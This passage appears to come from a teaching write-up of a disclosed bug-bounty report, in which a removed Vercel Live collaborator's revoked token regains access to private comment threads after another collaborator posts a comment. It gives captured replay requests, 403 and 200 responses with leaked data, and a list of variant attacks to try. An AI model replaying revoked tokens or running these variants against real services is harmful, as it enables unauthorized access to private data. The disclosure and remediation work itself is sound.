sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://vercel.live
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Referer: https://vercel.live/_next-live/feedback/feedback.html?dpl=[redacted]
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: vercel-experiment-uuid=[redacted]; vercel-feature-flags=[redacted]

{"profileID":"[redacted]","clientID":"ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616","cookie":{"version":56},"lastMutationID":13,"pullVersion":0,"schemaVersion":""}

Line by line:

  • POST /api/replicache/pull?docID=... HTTP/1.1 is the request line. POST is the method, used when the browser sends data to the server. The path points at the pull endpoint, and the docID query parameter (the part after the ?) names the collaboration document for this deployment. HTTP/1.1 is the version of the web protocol being spoken.
  • Host: vercel.live says which site the request is for.
  • Connection: keep-alive asks to keep the network connection open for further requests.
  • Content-Length: 178 says the body is 178 bytes long.
  • sec-ch-ua-platform: "Windows" and sec-ch-ua: ... are browser hints about the operating system and browser version.
  • authorization: ████████ is the collaborator's token. It is the key to the whole report: this is the value that gets revoked and then mysteriously works again.
  • x-replicache-requestid: ... is a tracking identifier the Replicache library attaches to its requests.
  • User-Agent: ... identifies the browser and operating system.
  • content-type: application/json says the body is JSON, a common text format for structured data.
  • sec-ch-ua-mobile: ?0 says the device is not a mobile phone.
  • Accept: */* says the browser accepts any response format.
  • Origin: https://vercel.live says which site the request is coming from, used by browsers for cross-site protections.
  • Sec-Fetch-Site, Sec-Fetch-Mode, Sec-Fetch-Dest, Sec-Fetch-Storage-Access are browser-generated hints about how the request was made.
  • Referer: ... says which page the request was made from.
  • Accept-Encoding and Accept-Language say which compression formats and languages the browser understands.
  • Cookie: ... carries small pieces of data the site stored in the browser earlier. A cookie is a short note a site asks the browser to keep and send back on every request, like a name badge you are given at the door.
  • The blank line separates headers from the body.
  • The body is JSON. profileID identifies the user profile, clientID identifies this particular browser client, cookie.version is the sync cursor (a bookmark saying "I already have everything up to this point"), and lastMutationID tracks how many changes this client has made itself.

Step 3: reduce the request to a minimal replay

Remove the unnecessary headers and body parameters. The request ends up as below, with the cookie parameter set to 1:

HTTP
POST /api/replicache/pull?docID=live_mode_1@[redacted]@[redacted] HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":1}}

Line by line:

  • The request line is the same shape as before, but with a different docID, pointing at the deployment used for the proof of concept.
  • Host, Connection, sec-ch-ua-platform and content-type are kept because they are harmless and make the request look normal.
  • authorization: ████████ is still A's token, the one that will later be revoked.
  • The body is now tiny: profileID and clientID are empty strings, and cookie.version is 1. The researcher notes to turn the proxy off at this point.

Step 4: revoke A and invite COLLABORATOR B

Remove COLLABORATOR A from the deployment and invite COLLABORATOR B. This sets up the situation the report is about: one person has lost access, another has it.

Step 5: confirm A has lost toolbar access

Open the deployment page as COLLABORATOR A. The removed collaborator can no longer interact through the toolbar. This is the visible, expected effect of removal.

Step 6: replay as A and observe the 403

Replay the customised request from step 3 as COLLABORATOR A. It returns 403 Forbidden:

HTTP
POST /api/replicache/pull?docID=live_mode_1@[redacted]@[redacted] HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":50}}
JSON
HTTP/1.1 403 Forbidden
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 103
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:17:56 GMT
Etag: "jbk8mtdrfm2v"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::fdwhc-1783570675940-81e073948471

{
    "error": {
        "message": "Not authorized.",
        "code": "unauthorized",
        "statusCode": 403,
        "extras": {},
        "isRaw": true
    }
}

Line by line:

  • The request is the same minimal request, with cookie.version now 50 instead of 1. The token is refused.
  • HTTP/1.1 403 Forbidden is the response status line. 403 means the server understood the request but refuses to authorise it.
  • Access-Control-Allow-Headers, Access-Control-Allow-Methods and Access-Control-Allow-Origin are CORS headers. CORS is a browser rule that decides whether a page from one site may read a response from another site; these headers say which methods and origins are allowed.
  • Cache-Control: no-store tells browsers and caches not to keep a copy of the response.
  • Content-Length: 103 is the size of the response body.
  • Content-Type: application/json; charset=utf-8 says the body is JSON encoded in UTF-8.
  • Date is when the server produced the response.
  • Etag is a version tag for the response content, used for caching.
  • Server: Vercel names the server software.
  • Strict-Transport-Security tells the browser to always use HTTPS for this site in future.
  • X-Matched-Path shows which endpoint handled the request.
  • X-Robots-Tag: noindex tells search engines not to index the response.
  • X-Vercel-Cache: MISS says the response was not served from a cache.
  • X-Vercel-Id is an internal request identifier.
  • The body is a JSON error object: message is "Not authorized.", code is unauthorized, and statusCode is 403.

At this point the revocation appears to work as intended.

Step 7: have COLLABORATOR B interact with the toolbar

As the newly invited active collaborator, COLLABORATOR B interacts with the page: click the toolbar icon on the right and comment anything. For proof-of-concept purposes the researcher comments ANYTHING. This is the ordinary, innocent action that the report says triggers the problem.

Step 8: replay as A again and observe the 200

Replay the same customised request as COLLABORATOR A, using the docID and the authorization header that belong to the removed collaborator. It now returns 200 OK containing all messages:

HTTP
POST /api/replicache/pull?docID=live_mode_1@[redacted]@[redacted] HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":50}}
JSON
HTTP/1.1 200 OK
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 5320
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:33:15 GMT
Etag: "4eaiav2d2743s"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Feedback-Rep-Cookie: {"version":12}
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::cjdrf-1783571595692-1dc82f208b78

{
    "lastMutationID": 2,
    "cookie": {
        "version": 12
    },
    "patch": [{
        "op": "put",
        "key": "user-CzT5kf0A2FbUEgY7Q9RKktSG",
        "value": {
            "id": "CzT5kf0A2FbUEgY7Q9RKktSG",
            "name": "kellyblue-name",
            "color": "#50e3c2",
            "avatar": "https://vercel.com/api/www/avatar/?u=kellybluevercel&s=64",
            "username": "kellybluevercel",
            "isExternal": true,
            "notificationPreference": "normal"
        }
    }, {
        "op": "put",
        "key": "user-27sKiDzCe4w6wQKECRwrxkfv",
        "value": {
            "id": "27sKiDzCe4w6wQKECRwrxkfv",
            "name": "kellybluepoc-2381",
            "color": "#ff0080",
            "avatar": "https://vercel.com/api/www/avatar/?u=kellybluepoc-2381&s=64",
            "username": "kellybluepoc-2381",
            "isExternal": true,
            "notificationPreference": "normal"
        }
    }, {
        "op": "put",
        "key": "state",
        "value": {
            "userCount": 2,
            "lastUsedShortId": 2
        }
    }, {
        "op": "put",
        "key": "commentThread-CfAhsOLgxuV2",
        "value": {
            "x": 0.265,
            "y": 0.418,
            "id": "CfAhsOLgxuV2",
            "page": "/",
            "nodeId": "body",
            "shortId": 1,
            "subject": "[team3project] TEST IDOR",
            "comments": [{
                "id": "OX7-HQLwVCs7PfSPI4WhE",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "TEST IDOR"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "TEST IDOR",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490810371,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "maHqzhjWBzaJ1QJ4K0wG6",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "TEST-IDOR"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "TEST-IDOR",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490836443,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "n79vcY4Wfa8dj-S00bQqK",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "IDOR-MAN"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "IDOR-MAN",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490869806,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "8BhIBAvogJD9Sv5fvy0TL",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "IDOR-MAN"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "IDOR-MAN",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490915508,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "ZLUbWzg5hVBmlEzKdxnZD",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "OLA-OLA-OLA"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "OLA-OLA-OLA",
                "images": [],
                "userId": "CzT5kf0A2FbUEgY7Q9RKktSG",
                "pending": false,
                "timestamp": 1783492038057,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "menti

Line by line:

  • HTTP/1.1 200 OK is the response status line. 200 means success, and the same request that was refused a moment ago is now answered.
  • The CORS, caching, security and Vercel headers are the same kind as in the 403 response. Content-Length: 5320 shows the body is now much larger, because it carries data.
  • X-Feedback-Rep-Cookie: {"version":12} is a header the server uses to tell the client the current sync cursor version.
  • The body is JSON. lastMutationID is the client's mutation counter, and cookie.version is the new sync cursor.
  • patch is an array of changes. Each entry has an op (the operation, here put, meaning "store this value under this key") and a key with a value.
  • The first two entries are user-... records: a user id, display name, colour, avatar URL, username, whether the user is external, and a notification preference.
  • The third entry is state, with userCount and lastUsedShortId.
  • The next entries are commentThread-... records. Each has x and y anchor coordinates (where on the page the thread is pinned), page, nodeId (which element it is attached to), shortId, a subject, and a comments array.
  • Each comment has an id, a rich-text body, an href, a plain text, an images array, the author's userId, a pending flag, a timestamp, deployment metadata (id, ts, author), mentionedUsers, writeConfirmed and leftOnLocalhost.
  • Each thread also has resolved, draftMode, pageTitle, userAgent, screenWidth, screenHeight, deploymentUrl, followingUsers, hasReadUserMap, devicePixelRatio, frameworkContext, emailMessageIdMap and lastScreenshotNumber. The followingUsers, hasReadUserMap and screen dimensions are the collaborator activity data the researcher refers to.
  • The final entry, control/partial-sync with value control/PARTIAL_SYNC_DONE, marks the end of the partial sync.

The researcher summarises the leaked data as comment threads, comment contents, deployment information and collaborator activity data.

Why it happens

The report classifies the weakness as "Access Control Check Implemented After Asset is Accessed". Access control is the part of a system that decides who may do what. The name means the system fetches the protected data first and checks permission afterwards, or checks against a copy of the permission list that is out of date.

The behaviour could fit this: the pull endpoint may look up the collaboration document and its membership state before, or independently of, checking whether the caller is currently allowed in. When an active collaborator interacts with the toolbar, the removed collaborator's token is accepted again, which suggests the synchronisation system refreshes or restores the document's membership state. The removal is not durable: the token was rejected, then accepted once someone else's activity occurred.

Likely contributing factors, based on what was observed: cached membership state that is not cleared when someone is removed, and a synchronisation layer that restores permissions from data that does not record the removal. The report does not describe the server-side implementation, so the precise mechanism is inferred from the request and response sequence.

Impact

A user who has been explicitly removed from a deployment can regain access to private collaboration resources using an already revoked token. This lets a previously removed collaborator:

  • Read private deployment comments.
  • Monitor collaboration activity.
  • Access deployment collaboration state without being re-invited.
  • Besides accessing messages, interact with the deployment like any invited user.

The issue breaks the expected security guarantee of collaborator removal, where removed users should immediately lose access to protected resources. The observed precondition is that some active collaborator interacts with the deployment toolbar after the removal.

Fix

The report lists remediation steps rather than a shipped patch:

  • Ensure that revoked collaborator authorisation state is checked during every authenticated request.
  • Immediately invalidate all authorisation state associated with revoked collaborators.
  • Prevent collaboration synchronisation systems from restoring permissions from stale authorisation data.
  • Ensure cached membership states are invalidated after collaborator removal.
  • Do not allow revoked tokens to regain access after unrelated collaborator activity.

Variants to test

  1. Other synchronisation endpoints. Look for pull or push endpoints on the same collaboration service (for example a push counterpart to /api/replicache/pull) and replay a revoked token against them after an active collaborator interacts. A positive result is a 200 with mutation data or an accepted write.
  2. Write access after removal. The report states the removed user can interact with the deployment like an invited user. Try submitting a comment or mutation with the revoked token after the trigger and check whether it is persisted and visible to active collaborators.
  3. Different trigger events. Instead of a comment, try other toolbar interactions by an active collaborator (opening the toolbar, resolving a thread, changing presence) and replay the revoked token afterwards. A positive result is the same transition from 403 to 200.
  4. Timing of the window. Measure how long the revoked token stays accepted after the trigger and whether repeated activity keeps extending it. A positive result is a persistent or renewable window rather than a single request.
  5. Role changes other than removal. Downgrade a collaborator instead of removing them, then trigger activity from an active collaborator and replay the old token. A positive result is access at the previous, higher privilege level.
  6. Cross-deployment document identifiers. Check whether a token from one deployment's document is accepted against another document after a trigger. A positive result is data from a document the token was never issued for.
  7. Stale cursors. Replay with older cookie.version values, as the researcher did with 1 and 50, after the trigger. A positive result is a full patch returned for a cursor the client should no longer be entitled to use.

Glossary

  • API: a defined set of addresses and rules that programs use to talk to a service, like a menu of things you can ask for.
  • Access control: the part of a system that decides who is allowed to do what.
  • Authorization header: a request header that carries proof of identity, usually a token.
  • Cache: a temporary store of data kept to answer future requests faster; a stale cache holds data that is no longer true.
  • Collaborator: a person invited to a deployment to view it and leave comments.
  • Cookie: a small piece of data a site stores in the browser and the browser sends back on later requests.
  • CORS: a browser rule that controls whether a page from one site may read a response from another site.
  • Cursor (sync cursor): a bookmark that records how much of a shared data stream a client has already received.
  • Deployment: one published version of a website or app on Vercel.
  • Endpoint: a specific address on a server that handles a particular kind of request.
  • Header: a labelled line of extra information attached to a web request or response.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • Intercepting proxy: a tool that sits between browser and internet, records traffic, and can replay or edit requests.
  • JSON: a text format for structured data, made of keys and values.
  • Patch: a list of changes to apply to a copy of data, here entries with an operation, a key and a value.
  • Query parameter: the part of a URL after the ?, carrying extra values such as docID.
  • Replicache: a library that keeps a local copy of shared data in the browser and syncs changes with a server.
  • Replay: sending a previously captured request again, possibly with edits.
  • Revocation: withdrawing a permission or token so it should no longer work.
  • Status code: a three-digit number in a response summarising the result, such as 200 success or 403 forbidden.
  • Token: a secret string that proves who the holder is, like a cloakroom ticket.
  • Toolbar: the in-page panel on a deployment where collaborators leave comments.
  • User-Agent: a header in which the browser states its name, version and operating system.
  • Vercel: a service for hosting and deploying websites and web apps.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.